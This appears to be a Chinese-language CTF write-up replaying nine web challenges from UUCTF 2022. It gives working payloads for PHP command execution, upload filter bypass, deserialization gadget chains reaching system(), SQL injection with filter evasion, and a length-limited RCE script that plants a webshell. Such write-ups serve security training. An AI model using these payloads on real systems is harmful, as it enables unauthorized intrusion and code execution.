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【Web】UUCTF 2022 新生赛 个人复现

article 2025/3/10 17:41:17

目录

①websign

②ez_rce

③ez_upload 

④ez_unser 

⑤ezsql

⑥ezpop

⑦funmd5

⑧phonecode

⑨ezrce

①websign

 右键打不开，直接抓包发包看源码

②ez_rce

 “反引号” 在PHP中会被当作SHELL命令执行 

?code=printf(`l\s /`);

 ?code=printf(`ta\c /fffffffffflagafag`);

 

③ez_upload 

先随便输点东西报错，发现是apache

文件上传有关php的后缀都被ban了，于是考虑上传.htaccess，然而禁止上传该类型文件。

尝试利用 Apache解析漏洞

 Apache解析漏洞主要是因为Apache默认一个文件可以有多个用.分割得后缀，当最右边的后缀无法识别（mime.types文件中的为合法后缀）则继续向左看，直到碰到合法后缀才进行解析（以最后一个合法后缀为准）,可用来绕过黑名单过滤。

④ez_unser 

这里__wakeup不能通过修改属性个数来绕过

所以利用$this->b=$this->c

构造

<?php
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){

    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=new test();
$a->b=&$a->a;
$a->c="system('tac /fffffffffflagafag');";
echo serialize($a);

?>

先触发__wakeup后触发__destruct，让a的值等于c的值 

payload:

?a=O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system('tac /fffffffffflagafag');";}

 

⑤ezsql

 先是万能密码试一试

1' or 1=1#

通过回显知道了三个信息：

注入点在passwd即可，输入的payload被逆向，闭合方式为')

字符串逆向的代码

s = "需要逆向的字符串"
r = s[::-1]
print(r)

注：以下payload都是逆向之前的

1') or 1=1#

1') order by 2#

 测出列数为2

1') union select 1,table_name from information_schema.tables where table_schema=database()#

发现or被过滤，双写绕过即可

from->frroom

1') union select 1,table_name frroom information_schema.tables where table_schema=database() #

 # 'galf'=eman_elbat dna )(esabatad=amehcs_elbat erehw snmuloc.amehcs_noitamrofni moorrf eman_nmuloc,1 tceles noinu )'1

#galf moorrf FTCUU,1 tceles noinu )'1 

⑥ezpop

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

一眼字符串逃逸（hacker->loveuu!，增加一个字符）

先随便构造

$a=new UUCTF("suibian");
echo serialize($a);

O:5:"UUCTF":4:{s:4:"name";s:7:"suibian";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

字符串逃逸

";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:xxx:"xxxx";s:2:"ob";N;}暂未知道需要逃逸多少个字符

先把局部的exp构造出来

先是搓链子
nothing::__wakeup|__destruct -> output::__toString -> youwant::rce()

构造

$a=new nothing();
$b=new output();
$c=new youwant();
$a->a=&$a->b;
$a->t=$b;
$b->a=$c;
$c->cmd="system('cat flag.php');";
echo base64_encode(serialize($a));

//Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19

";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}

共236个字符，即需要236个hacker

print("hacker"*236)

最终payload:

data=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;} 

⑦funmd5

 $md5=preg_replace('/^(.)0e(.)$/','${1}no_science_notation!${2}',$md5); if(preg_match('/0e/',$md5[0]))
两个条件是矛盾的，但是我们可以%0a绕过preg_replace函数

自身与md5相等,对于0e215962017，md5后也是以0e开头

因此md5[0]应该传入%0a0e215962017，但是我们又多了一个%0a 换行符，通过上面这行代码 $md5[0]=substr($md5[0],$sub);
可以在 $sub=1的时候，执行会达到删去%0a的作用

$sub=substr($time,-1); $sub由$time决定，$sub为$time的最后一位

$md5[1]===$guessmd5，后者是1秒一变的，得写脚本了

import requests
import time
import hashlib

s = requests.session()

while True:
    url = "http://node5.anna.nssctf.cn:28849/?md5[0]=%0a0e215962017&md5[1]={}".format(hashlib.md5(str(int(time.time())).encode('utf-8')).hexdigest())
    res = s.get(url=url).text
    print(res)
    if 'well' in res:
        print(res)
        break
    time.sleep(0.5)

 跑出了flag

 

⑧phonecode

下一次必然命中？联想到mt_rand()和mt_srand() 随机数种子

随便输点东西，bp抓包发包看响应

<?php
mt_srand(1);
echo mt_rand()."<br/>"; #895547922
echo mt_rand()."<br/>"; #2141438069
?>

hint是你输入种子的第一次随机数，而code要输入的是第二次的随机数。

⑨ezrce

输入whoami

输入1234567 

测出来是限长6字符RCE ，且回显告诉我们命令在tmp之下执行

CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总

import requests
url = "http://node5.anna.nssctf.cn:28958/post.php"
print("[+]start attack!!!")
with open("6rce.txt", "r") as f:
    for i in f:
        data = {"cmd": f"{i.strip()}"}
        requests.post(url=url, data=data)

resp = requests.get("http://node5.anna.nssctf.cn:28958/tmp/1.php")
if resp.status_code == requests.codes.ok:
    print("[*]Attack success!!!")

 6rce.txt内容

>dir
>sl
>ht-
>f\>
*>v
>rev
*v>0
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh 0
sh f

访问/tmp/1.php

?1=system('tac /f*');即可拿到flag


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